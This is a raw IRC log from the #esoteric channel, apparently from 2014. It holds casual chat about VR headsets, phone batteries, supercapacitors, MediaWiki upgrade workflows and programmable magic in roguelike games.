#esoteric :Yeah < 1396293494 183537 :sebbu!~sebbu@ADijon-152-1-28-3.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1396293495 622053 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I had the honor to look through an oculus < 1396293513 290061 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i was recruited by an oculus-like google designer < 1396293518 529873 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :it was very pixelish < 1396293525 590852 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :but they told me the new versions gonna be better :) < 1396293527 862572 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :goggle designer*! < 1396293534 210928 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :damn finger memory < 1396293535 222914 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :From what I've heard, it's a lot more immersive with the latest prototypes that do head-tracking. < 1396293536 863452 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in akihabara I played some kind of game where you used an oculus and a leap motion controller to grope anime girls < 1396293543 153386 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's possible that I was playing it wrong < 1396293543 340619 :sebbu!~sebbu@ADijon-152-1-28-3.w83-194.abo.wanadoo.fr QUIT :Changing host < 1396293543 340746 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1396293575 364040 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :so.. < 1396293578 309742 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :virtual porn then? < 1396293586 990993 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :lol in japan i also played some 2d immersive game at the uni, with mechas and stuff < 1396293588 378482 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :that's certainly one use case of stuff < 1396293590 121161 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :3d < 1396293622 585802 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :mroman: that picelishness comes from low resolution phones < 1396293630 710397 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :try again with the new 2560x1440 phone < 1396293693 360543 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :kmc: where are you from? < 1396293715 910747 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Phone? < 1396293861 298723 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1396293908 135321 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`olist 947 < 1396293908 769804 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :olist 947: shachaf oerjan Sgeo FireFly boily < 1396293927 358878 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :http://www.cnet.com/news/oppo-debuts-worlds-first-5-5-inch-quad-hd-find-7/ < 1396293954 391293 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :looking forward to playing all my old Virtual Boy games again < 1396293956 582890 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :VR headsets aren't made out of phones. < 1396293974 510732 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Same kind of display panels, sure, but that doesn't make them phones. < 1396294005 935659 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :what is the freaking point of going about 200, perhaps 300 dpi? < 1396294023 760097 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i thought you talked about oculus rift and stuff < 1396294074 212618 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :int-e: Probably quite a lot for a display right in front of your eye, to be honest. < 1396294086 164915 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I swear they are doing this so that the phone batteries deplete within 3 days even though the capacity increases all the time. < 1396294095 262454 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(For a phone, I don't have any idea.) < 1396294102 231580 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :int-e: 3 days? mine barely lasts one < 1396294104 800610 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Except being able to quote bigger numbers.) < 1396294114 334899 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :and i can't replace it :( < 1396294116 600075 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :my phone is 440dpi < 1396294144 526321 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :err, I meant s/about/above/ up there, odd typo. < 1396294163 694600 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: Oh, I forgot to `olist. < 1396294179 66219 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :is there a point to `olist? < 1396294182 297616 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :It's been so long. < 1396294208 256847 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1396294229 66227 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :lexande: I have a stupid nokia phone which lasts a week (batteries are getting old) ;) < 1396294303 10889 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :both my old and new phone (google mytouch and google nexus 5) last about 5 days of average use and wifi connected 100% of the time < 1396294318 40077 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :if only i could 3D print a new phone battery < 1396294335 461720 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :lipo batteries can be inkjet-printed < 1396294365 447671 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :my nexus 4 barely lasts a day, wifi off and brightness set to automatic < 1396294376 366191 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :but very low capcity, more useful for calculators in terms of power usage (like those that use these little solar panels) < 1396294404 270378 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :never tried nexus 4 < 1396294415 170868 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i lasted 6 years on a single phone < 1396294417 510352 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :i wish phones weren't so big < 1396294430 794863 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :i miss my nexus s, i can't reach the far corner of my nexus 4 < 1396294457 226217 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I wish phones were still phones < 1396294486 629711 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :nah that was always the worst feature of phones < 1396294624 725179 :password2!~password@105.233.36.200 PRIVMSG #esoteric :get two 18650 3.7V 3Ah batteries < 1396294647 185454 :password2!~password@105.233.36.200 PRIVMSG #esoteric :and pring a new cover for your phone < 1396294684 301513 :password2!~password@105.233.36.200 PRIVMSG #esoteric :*print < 1396294764 276534 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :my current usage, first 2 hours screen on, then stand-by: https://www.dropbox.com/s/50dy62ztt6aq6c2/Screenshot_2014-03-31-21-36-18.png < 1396294852 678293 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :uhm not screen on, i was driving to work* < 1396295173 368511 :password2!~password@105.233.36.200 PRIVMSG #esoteric :my phone is now 14h28m on battery < 1396295233 228568 :password2!~password@105.233.36.200 PRIVMSG #esoteric :great , linux does not like to copy small files , 1hr for 7.8gig hdd to hdd < 1396295252 91509 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :small files are never funny < 1396295287 797937 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :it needs to copy all the user prililedges too and that is a slow operation for the kernel (it does authoring an stuff for each file) < 1396295345 859091 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :the only FS that like small files are non-journalled and have no permissions, like fat32 < 1396295347 13200 :password2!~password@105.233.36.200 PRIVMSG #esoteric :i should probably have ripped out some obfuscated one liner in terminal that both zips copy and extracts the data < 1396295365 290202 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :that would be even slower < 1396295385 3768 :password2!~password@105.233.36.200 PRIVMSG #esoteric :you think < 1396295414 390334 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :its faster to make a truecrypt container and keep small files there. just copy the container < 1396295427 986780 :password2!~password@105.233.36.200 PRIVMSG #esoteric :ah < 1396295434 709763 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :not as an intermediate step but permanently keep them there < 1396295443 586114 :password2!~password@105.233.36.200 PRIVMSG #esoteric :yeah < 1396295454 359309 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :that is, if they are not needed all the time < 1396295455 523473 :password2!~password@105.233.36.200 PRIVMSG #esoteric :doubt windows would play nice with em < 1396295466 943817 :password2!~password@105.233.36.200 PRIVMSG #esoteric :its qt i'm copying < 1396295475 229649 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :src? < 1396295476 762761 :password2!~password@105.233.36.200 PRIVMSG #esoteric :i want a ultracap < 1396295483 581533 :password2!~password@105.233.36.200 PRIVMSG #esoteric :if only i was not broke < 1396295580 949898 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i found a 4 year old project of an esoteric functional language, but its unfinished, full of errors, and no documentation/commenting whatsoever < 1396295589 250148 :password2!~password@105.233.36.200 PRIVMSG #esoteric :only $18 for a 400F 2.7 V cap < 1396295600 578731 :password2!~password@105.233.36.200 PRIVMSG #esoteric :cool < 1396295601 969701 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :daamn, 400F < 1396295606 604021 :password2!~password@105.233.36.200 PRIVMSG #esoteric :i recently wrote bf^ < 1396295608 589575 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :how many mAh is that? < 1396295613 419420 :password2!~password@105.233.36.200 PRIVMSG #esoteric :http://za.rs-online.com/web/p/electric-double-layer-capacitors/7690221/ < 1396295627 475555 :password2!~password@105.233.36.200 PRIVMSG #esoteric :well W = 0.5CV*V < 1396295656 972030 :password2!~password@105.233.36.200 PRIVMSG #esoteric := 1458J < 1396295697 699777 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :80mAh/V < 1396295718 35366 :password2!~password@105.233.36.200 PRIVMSG #esoteric :bout 1080maH , if you assume V = 0.5*.7 < 1396295718 221889 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :amp hours nooooo < 1396295765 17883 :password2!~password@105.233.36.200 PRIVMSG #esoteric :err mAs * < 1396295770 285015 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1396295774 658378 :password2!~password@105.233.36.200 PRIVMSG #esoteric :more like 0.3 AH < 1396295784 960419 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :found better formula: *0.2777, so 111mAh/V < 1396295805 180447 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :the more volts you put in it, the more MaH it becomes (obvious) < 1396295815 666404 :password2!~password@105.233.36.200 PRIVMSG #esoteric :jip < 1396295865 106054 :password2!~password@105.233.36.200 PRIVMSG #esoteric :that is if you drain linearly ofc < 1396295875 900434 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :300mAh for 2.7V in half the size of an AA, not very high capacity < 1396295921 195238 :password2!~password@105.233.36.200 PRIVMSG #esoteric :the newer graphene based ultra caps are approaching litium batteries < 1396295930 799230 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :better harvest some of those button-sized bios batteries from old laptops < 1396295940 150582 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :got some here < 1396295979 842380 :password2!~password@105.233.36.200 PRIVMSG #esoteric :well , if you use a button cell in parallel with this cap , it would be fun < 1396296010 34912 :password2!~password@105.233.36.200 PRIVMSG #esoteric :you would be able to trigger large devices with a small cell < 1396296016 709843 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :so button can recharge cap and cap can provide high transient load? < 1396296022 625387 :password2!~password@105.233.36.200 PRIVMSG #esoteric :yes < 1396296047 503841 :password2!~password@105.233.36.200 PRIVMSG #esoteric :mmm , i wonder how long a ram module can run from such a cap < 1396296059 380886 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i recommend a resistor in between (or low-dropout constant current driver if you're feeliong hackery) < 1396296081 657617 :password2!~password@105.233.36.200 PRIVMSG #esoteric :i recommend having a ultracap first < 1396296101 548770 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i recommend collecting moneyz first < 1396296119 865694 :password2!~password@105.233.36.200 PRIVMSG #esoteric :yes < 1396296205 922309 :password2!~password@105.233.36.200 PRIVMSG #esoteric :mmm , if you use a 10mA Led , you can power that led for entire night < 1396296215 369993 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1396296235 213266 :password2!~password@105.233.36.200 PRIVMSG #esoteric :much longer if you use a joule thief < 1396296241 447877 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :ah found the doc of that functional esoland < 1396296246 889246 :password2!~password@105.233.36.200 PRIVMSG #esoteric :or brighter < 1396296249 529802 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :g < 1396296262 839579 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :joule thief is suxors, tried it once < 1396296283 149156 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :tried another one i found on a dutch forum that works 10x better < 1396296285 553911 :password2!~password@105.233.36.200 PRIVMSG #esoteric :their just low poer boost converters < 1396296290 192491 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :and no need to wind your own coil < 1396296315 271076 :password2!~password@105.233.36.200 PRIVMSG #esoteric :old motherboards have lovly ferrite cores < 1396296364 137480 :password2!~password@105.233.36.200 PRIVMSG #esoteric :i need to finish my bick converter < 1396296365 680109 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i tried a led once on a fully charged 1F supercap, lasted like 5 minutes < 1396296377 857423 :password2!~password@105.233.36.200 PRIVMSG #esoteric :so that i can start with revision 3 < 1396296387 99802 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :no regulator, just parallel < 1396296390 695996 :password2!~password@105.233.36.200 PRIVMSG #esoteric :only 5 minutes? < 1396296402 794964 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :yes < 1396296412 657588 :password2!~password@105.233.36.200 PRIVMSG #esoteric :i have 11mF cap array that lasts 2 minutes with an led < 1396296413 949762 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1396296424 384677 :password2!~password@105.233.36.200 PRIVMSG #esoteric :at 20 V < 1396296425 561999 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :starts off with high load ofcourse, and as soon as voltage drops below 3.5V the led dims < 1396296447 345363 :password2!~password@105.233.36.200 PRIVMSG #esoteric :you need a constand current chip < 1396296467 568886 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i could try it on my lasers < 1396296472 840437 :password2!~password@105.233.36.200 PRIVMSG #esoteric :ooh < 1396296476 981830 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :they have a current driver by definition < 1396296486 691463 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :unless it's chinese dealextreme crap < 1396296514 565164 :password2!~password@105.233.36.200 PRIVMSG #esoteric :i want to buy some laser modules for a FSO project < 1396296586 929167 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :http://pastebin.com/pcfLQmqr and it's called amorphicum, not without reason < 1396296612 391082 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :tomorrow i'm gonna read it in detail, now it's too late, imma go < 1396296663 743103 :password2!~password@105.233.36.200 PRIVMSG #esoteric :woa < 1396296665 649545 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :mind that this is a scrap document and not some final language definition < 1396296706 549435 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :my favotite line: "Code will be well understandable for the programmer but not for the uninitiated." < 1396296710 398535 :password2!~password@105.233.36.200 PRIVMSG #esoteric :great only 33k files to copy < 1396296720 320857 :password2!~password@105.233.36.200 PRIVMSG #esoteric :then i have to copy everything again < 1396296749 146878 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i saw your BF^ the other day, the additions are useful < 1396296773 407512 :password2!~password@105.233.36.200 PRIVMSG #esoteric :ah , thy < 1396296879 793654 :Patashu[Zzz]!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au JOIN :#esoteric < 1396296885 790629 :Patashu!Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Disconnected by services < 1396296903 928761 :password2!~password@105.233.36.200 PRIVMSG #esoteric :i was considering releasing the code in library form < 1396296933 936086 :password2!~password@105.233.36.200 PRIVMSG #esoteric :but I have quite few program projects running already < 1396297239 842163 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :made redirect http://esolangs.org/wiki/BF^ because i couldn't find it < 1396297306 673528 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B|zz < 1396297310 410102 :password2!~password@105.233.36.200 PRIVMSG #esoteric :thy < 1396297311 590084 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :nn < 1396297320 583314 :password2!~password@105.233.36.200 PRIVMSG #esoteric :didn't even think about redirects < 1396297407 538440 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: do you have a fancy mediawiki update workflow? :p < 1396297426 839450 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :elliott: I made up one, it's not very fancy. < 1396297431 778644 :Patashu[Zzz]!~Patashu@c27-253-115-204.carlnfd2.nsw.optusnet.com.au QUIT :Ping timeout: 265 seconds < 1396297475 898836 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :how much git does it involve?? < 1396297646 835886 :Slereah!~jackal@193.253.170.222 JOIN :#esoteric < 1396297758 984332 :Slereah_!~jackal@117.168.90.79.rev.sfr.net QUIT :Ping timeout: 255 seconds < 1396297832 897786 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, it's got the extensions from cloned official gits, and modified configuration files (just LocalSettings.php) from a local git, but the MediaWiki files from a release tarball. < 1396297916 787917 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I did use a "git archive | tar" kind of thing to copy the extensions in their right places, which makes it very fancy. < 1396297919 728162 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Incidentally, major version 1.21 or something had moved the Vector extension to core, apparently. < 1396297998 809792 :nooodl!~nooodl@48.86-177-91.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1396298035 889085 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1396298497 501290 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ACTION nod < 1396298509 96114 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I tried to have my own branch that I merged the wmf release branches into < 1396298518 18143 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :with LocalSettings.php and submodules for extensions < 1396298525 978489 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :(you have to update extensions with new versions, btw, at least major ones) < 1396298538 254087 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :-- but it turns out that if you have the wmf branch for 1.19 you can't just merge the 1.20 one in, say < 1396298547 78399 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :because it has stuff that's 1.19-specific in the branch, I guess < 1396298760 11278 :nooodl!~nooodl@48.86-177-91.adsl-dyn.isp.belgacom.be QUIT :Read error: Connection reset by peer < 1396298930 898934 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, I have in the Workflow Document a command for checking out a new RELn_nn branches of the extensions, to be used if a major version changes; otherwise it just pulls. AIUI, those are the ones suited for use with release tarballs. (I guess I could equally well have the MediaWiki files from git, too. But "w/e".) < 1396299019 393194 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :rip http://esolangs.org/wiki/User:Ehird/upgrading < 1396299027 125385 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :an obsoleted workflow < 1396299055 167704 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :fizzie: the wmf branches get updated beyond just the releases < 1396299056 7841 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's weird < 1396299095 319062 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :at least, they did when I actually updated mediawiki :P < 1396299614 853332 :password2!~password@105.233.36.200 QUIT :Ping timeout: 252 seconds < 1396299901 951916 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's the kind of feeling I got, but I couldn't be bothered to figure out what it all means. < 1396299977 407788 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ACTION nod < 1396299999 800429 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :just run trunk, clearly < 1396300948 87479 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl QUIT :Ping timeout: 265 seconds < 1396301180 279837 :Slereah_!~jackal@80.10.159.130 JOIN :#esoteric < 1396301216 249851 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1396301321 307608 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 268 seconds < 1396301404 830111 :Slereah!~jackal@193.253.170.222 QUIT :Ping timeout: 265 seconds < 1396301677 7216 :nooodl!~nooodl@48.86-177-91.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1396301730 702996 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl JOIN :#esoteric < 1396301754 247423 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Guest27452 < 1396302077 578437 :Slereah_!~jackal@80.10.159.130 QUIT :Read error: Connection reset by peer < 1396302620 366437 :Slereah_!~jackal@117.168.90.79.rev.sfr.net JOIN :#esoteric < 1396303625 441822 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1396303643 510245 :augur_!~augur@129-2-129-32.wireless.umd.edu QUIT :Ping timeout: 252 seconds < 1396303985 935162 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1396303994 446931 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :http://journal.frontiersin.org/Journal/10.3389/fnhum.2014.00146/abstract l m a o < 1396304240 396461 :augur!~augur@129-2-129-32.wireless.umd.edu JOIN :#esoteric < 1396304991 440410 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1396305197 856360 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :Bicyclidine: that reminds me of retropsychokinesis < 1396305425 676346 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"With Shelfies (Shareable Selfies) you can set your own photo as a Gmail custom theme and share it with your friends so they can enjoy looking at you as much as you do." < 1396305452 720621 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :wat < 1396305471 995455 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Gmail popped that message up at me < 1396305485 100194 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh. < 1396305497 641948 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :http://www.euirc.net/en/news_detail.php?newsid=197 < 1396305535 87220 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :it's true < 1396305547 175506 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :you should use the top trending shelfies < 1396305563 229075 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :myname: nice < 1396305737 446747 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1396306068 557232 :Bicyclidine!~Glossina@wl-nat109.it.wsu.edu PRIVMSG #esoteric :http://www.neuroquantology.com/index.php/journal/article/view/591 this looks good < 1396306572 433431 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The Fairchild F8 bus is a but unusual, lacking any address lines, but having eight data lines and five control lines. < 1396306687 236728 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(Each device on the bus has to keep its own copy of the address.) < 1396307995 978345 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 JOIN :#esoteric < 1396308012 484493 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :hey dudes and dudettes < 1396308074 789086 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396308117 367202 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :someone started on a roguelike featuring programmable magic < 1396308171 84986 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :doesthiswork: Also an idea I have been thinking about, but never implemented (or figured out how to implement). < 1396308196 614227 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :everyone has (myself included) < 1396308229 636248 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :OK < 1396308233 286290 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :but it doesn't go far enough until we have spells that write spells < 1396308324 537524 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :zzo38 what would you want from a game with programmable magic? < 1396308344 98867 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1396308346 147915 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :doesthiswork: Yes, that too I would expect, spells that write spells... perhaps some kind of design in Haskell? < 1396308457 384238 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :well typed systems are magical < 1396308568 206763 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :The problem I always run into is that if the spell language is pleasent enough that we can get things done in it and flexible enough that it can do anything, players will just use it to set enimies hitpoints to 0 < 1396308737 979972 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :but perhaps if we make it so it can't effect things without haveing a reference to them we could make it so the spell would need both the unique name of the enimy and the unique name of their hitpoints to effect < 1396309173 774061 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Actually I did have some ideas relating to that: They wouldn't have such direct effects anyways. < 1396309408 801447 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :hmm < 1396309523 108700 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i remember thinking what i wanted from a programmable magic system was something where you're trying to write a control system for ~mystic energies~ rather than just, like, writing scripts for the universe to run < 1396309608 806099 :doesthiswork!b8ab3b18@gateway/web/freenode/ip.184.171.59.24 PRIVMSG #esoteric :what would a control system for mystic energies look like? < 